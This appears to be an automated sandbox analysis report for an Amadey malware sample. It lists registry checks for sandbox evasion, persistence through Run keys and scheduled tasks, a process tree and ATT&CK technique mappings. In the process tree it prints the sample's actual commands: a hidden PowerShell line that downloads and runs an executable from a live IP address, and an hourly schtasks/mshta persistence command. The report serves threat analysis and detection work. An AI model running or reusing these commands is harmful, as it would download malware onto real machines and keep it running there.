amadey | c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1S33T6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2f6885.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3g55r.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
51	1240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1908	powershell.exe
4284	powershell.exe
4392	powershell.exe
1240	powershell.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2f6885.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2f6885.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3g55r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3g55r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1S33T6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1S33T6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	4u451e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	1S33T6.exe

Executes dropped EXE 7 IoCs

pid	Process
5108	Z3c83.exe
4424	a3e02.exe
2320	1S33T6.exe
3708	skotes.exe
4164	2f6885.exe
3320	3g55r.exe
4188	4u451e.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	1S33T6.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	2f6885.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	3g55r.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Z3c83.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	a3e02.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2320	1S33T6.exe
3708	skotes.exe
4164	2f6885.exe
3320	3g55r.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1S33T6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4976	3320	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a3e02.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1S33T6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f6885.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3g55r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4u451e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Z3c83.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3g55r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3g55r.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4060	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2320	1S33T6.exe
2320	1S33T6.exe
3708	skotes.exe
3708	skotes.exe
4164	2f6885.exe
4164	2f6885.exe
3320	3g55r.exe
3320	3g55r.exe
3320	3g55r.exe
3320	3g55r.exe
1908	powershell.exe
1908	powershell.exe
4284	powershell.exe
4284	powershell.exe
4392	powershell.exe
4392	powershell.exe
1240	powershell.exe
1240	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2320	1S33T6.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 5108	2524	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe	83
PID 2524 wrote to memory of 5108	2524	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe	83
PID 2524 wrote to memory of 5108	2524	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe	83
PID 5108 wrote to memory of 4424	5108	Z3c83.exe	84
PID 5108 wrote to memory of 4424	5108	Z3c83.exe	84
PID 5108 wrote to memory of 4424	5108	Z3c83.exe	84
PID 4424 wrote to memory of 2320	4424	a3e02.exe	85
PID 4424 wrote to memory of 2320	4424	a3e02.exe	85
PID 4424 wrote to memory of 2320	4424	a3e02.exe	85
PID 2320 wrote to memory of 3708	2320	1S33T6.exe	86
PID 2320 wrote to memory of 3708	2320	1S33T6.exe	86
PID 2320 wrote to memory of 3708	2320	1S33T6.exe	86
PID 4424 wrote to memory of 4164	4424	a3e02.exe	87
PID 4424 wrote to memory of 4164	4424	a3e02.exe	87
PID 4424 wrote to memory of 4164	4424	a3e02.exe	87
PID 5108 wrote to memory of 3320	5108	Z3c83.exe	89
PID 5108 wrote to memory of 3320	5108	Z3c83.exe	89
PID 5108 wrote to memory of 3320	5108	Z3c83.exe	89
PID 2524 wrote to memory of 4188	2524	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe	108
PID 2524 wrote to memory of 4188	2524	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe	108
PID 2524 wrote to memory of 4188	2524	c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe	108
PID 4188 wrote to memory of 4432	4188	4u451e.exe	110
PID 4188 wrote to memory of 4432	4188	4u451e.exe	110
PID 4432 wrote to memory of 4060	4432	cmd.exe	114
PID 4432 wrote to memory of 4060	4432	cmd.exe	114
PID 4432 wrote to memory of 4592	4432	cmd.exe	115
PID 4432 wrote to memory of 4592	4432	cmd.exe	115
PID 4592 wrote to memory of 1908	4592	cmd.exe	116
PID 4592 wrote to memory of 1908	4592	cmd.exe	116
PID 4432 wrote to memory of 4300	4432	cmd.exe	117
PID 4432 wrote to memory of 4300	4432	cmd.exe	117
PID 4300 wrote to memory of 4284	4300	cmd.exe	118
PID 4300 wrote to memory of 4284	4300	cmd.exe	118
PID 4432 wrote to memory of 1204	4432	cmd.exe	119
PID 4432 wrote to memory of 1204	4432	cmd.exe	119
PID 1204 wrote to memory of 4392	1204	cmd.exe	120
PID 1204 wrote to memory of 4392	1204	cmd.exe	120
PID 4432 wrote to memory of 1384	4432	cmd.exe	121
PID 4432 wrote to memory of 1384	4432	cmd.exe	121
PID 4432 wrote to memory of 1220	4432	cmd.exe	122
PID 4432 wrote to memory of 1220	4432	cmd.exe	122
PID 1220 wrote to memory of 1240	1220	mshta.exe	123
PID 1220 wrote to memory of 1240	1220	mshta.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe
"C:\Users\Admin\AppData\Local\Temp\c21653cb2ecc86d7eabf5f6c30a2a4bbf63c1f443d9e2c4983906ff61c1f0fd3.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Z3c83.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Z3c83.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a3e02.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a3e02.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1S33T6.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1S33T6.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2320
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3708
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2f6885.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2f6885.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4164
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3g55r.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3g55r.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3320
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3320 -s 1532
      4⤵
      Program crash
      PID:4976
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4u451e.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4u451e.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1D37.tmp\1D38.tmp\1D39.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4u451e.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:4060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4300
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1204
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4392
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "IVsbnmaP8yJ" /tr "mshta \"C:\Temp\B58GnpT0l.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1384
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\B58GnpT0l.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1220
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3320 -ip 3320
1⤵
PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion